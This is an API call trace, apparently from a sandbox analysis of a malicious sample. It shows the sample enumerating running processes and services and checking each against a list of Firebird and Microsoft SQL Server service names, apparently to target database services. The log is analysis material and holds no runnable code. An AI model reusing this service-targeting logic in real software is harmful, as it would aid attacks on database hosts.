1 [0191.292] lstrlenW (lpString="Spooler") returned 7 [0191.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0191.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0191.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0191.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0191.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0191.292] lstrlenW (lpString="StateRepository") returned 15 [0191.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0191.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0191.292] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0191.292] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0191.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0191.292] lstrlenW (lpString="SysMain") returned 7 [0191.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0191.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0191.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0191.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0191.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0191.293] lstrlenW (lpString="SystemEventsBroker") returned 18 [0191.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0191.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0191.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0191.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0191.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0191.293] lstrlenW (lpString="Themes") returned 6 [0191.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0191.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0191.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0191.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0191.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0191.293] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0191.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0191.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0191.294] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0191.294] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0191.294] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0191.295] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0191.302] Process32FirstW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.304] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0191.305] lstrlenW (lpString="System") returned 6 [0191.305] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0191.306] lstrlenW (lpString="smss.exe") returned 8 [0191.306] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.308] lstrlenW (lpString="csrss.exe") returned 9 [0191.308] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0191.310] lstrlenW (lpString="wininit.exe") returned 11 [0191.310] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.311] lstrlenW (lpString="csrss.exe") returned 9 [0191.311] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0191.312] lstrlenW (lpString="winlogon.exe") returned 12 [0191.312] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0191.314] lstrlenW (lpString="services.exe") returned 12 [0191.314] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.315] lstrlenW (lpString="lsass.exe") returned 9 [0191.315] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0191.316] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0191.316] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0191.317] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0191.317] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.319] lstrlenW (lpString="svchost.exe") returned 11 [0191.319] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.321] lstrlenW (lpString="svchost.exe") returned 11 [0191.321] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0191.322] lstrlenW (lpString="dwm.exe") returned 7 [0191.322] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.324] lstrlenW (lpString="svchost.exe") returned 11 [0191.403] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.636] lstrlenW (lpString="svchost.exe") returned 11 [0191.636] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.638] lstrlenW (lpString="svchost.exe") returned 11 [0191.638] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.639] lstrlenW (lpString="svchost.exe") returned 11 [0191.640] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.642] lstrlenW (lpString="svchost.exe") returned 11 [0191.642] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.643] lstrlenW (lpString="svchost.exe") returned 11 [0191.643] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.644] lstrlenW (lpString="svchost.exe") returned 11 [0191.644] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.646] lstrlenW (lpString="svchost.exe") returned 11 [0191.646] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.647] lstrlenW (lpString="svchost.exe") returned 11 [0191.648] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.649] lstrlenW (lpString="svchost.exe") returned 11 [0191.649] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0191.651] lstrlenW (lpString="spoolsv.exe") returned 11 [0191.652] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.653] lstrlenW (lpString="svchost.exe") returned 11 [0191.653] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0191.654] lstrlenW (lpString="audiodg.exe") returned 11 [0191.654] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0191.655] lstrlenW (lpString="sihost.exe") returned 10 [0191.656] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.657] lstrlenW (lpString="svchost.exe") returned 11 [0191.657] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0191.658] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0191.658] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0191.661] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0191.661] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0191.662] lstrlenW (lpString="Memory Compression") returned 18 [0191.662] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0191.664] lstrlenW (lpString="taskhostw.exe") returned 13 [0191.664] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0191.665] lstrlenW (lpString="msoia.exe") returned 9 [0191.665] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0191.666] lstrlenW (lpString="explorer.exe") returned 12 [0191.666] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0191.668] lstrlenW (lpString="SearchUI.exe") returned 12 [0191.668] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0191.669] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0191.670] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0191.672] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0191.672] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0191.705] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0191.705] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0191.707] lstrlenW (lpString="wmxsde.exe") returned 10 [0191.707] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0191.708] lstrlenW (lpString="consent.exe") returned 11 [0191.708] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0191.709] lstrlenW (lpString="dllhost.exe") returned 11 [0191.744] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0191.745] CloseHandle (hObject=0x564) returned 1 [0191.745] Sleep (dwMilliseconds=0x1f4) [0192.490] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f4c0 [0192.491] EnumServicesStatusExW (in: hSCManager=0x459f4c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0192.491] GetLastError () returned 0xea [0192.491] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4661fb8 [0192.492] EnumServicesStatusExW (in: hSCManager=0x459f4c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0192.493] CloseServiceHandle (hSCObject=0x459f4c0) returned 1 [0192.493] lstrlenW (lpString="Appinfo") returned 7 [0192.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0192.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0192.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0192.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0192.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0192.494] lstrlenW (lpString="AppXSvc") returned 7 [0192.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0192.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0192.494] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0192.494] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0192.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0192.494] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0192.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.494] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0192.494] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0192.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0192.494] lstrlenW (lpString="Audiosrv") returned 8 [0192.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0192.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0192.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0192.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0192.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0192.494] lstrlenW (lpString="BFE") returned 3 [0192.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0192.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0192.495] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0192.495] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0192.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0192.495] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0192.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0192.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0192.495] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0192.495] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0192.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0192.495] lstrlenW (lpString="CDPSvc") returned 6 [0192.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0192.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0192.495] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0192.495] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0192.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0192.495] lstrlenW (lpString="ClickToRunSvc") returned 13 [0192.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0192.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0192.496] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0192.496] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0192.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0192.496] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0192.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0192.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0192.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0192.496] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0192.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0192.496] lstrlenW (lpString="CryptSvc") returned 8 [0192.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0192.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0192.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0192.496] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0192.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0192.496] lstrlenW (lpString="DcomLaunch") returned 10 [0192.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0192.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0192.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0192.496] lstrlenW (lpString="DeviceAssociationService") returned 24 [0192.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0192.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0192.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0192.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0192.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0192.497] lstrlenW (lpString="Dhcp") returned 4 [0192.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0192.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0192.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0192.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0192.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0192.497] lstrlenW (lpString="Dnscache") returned 8 [0192.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0192.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 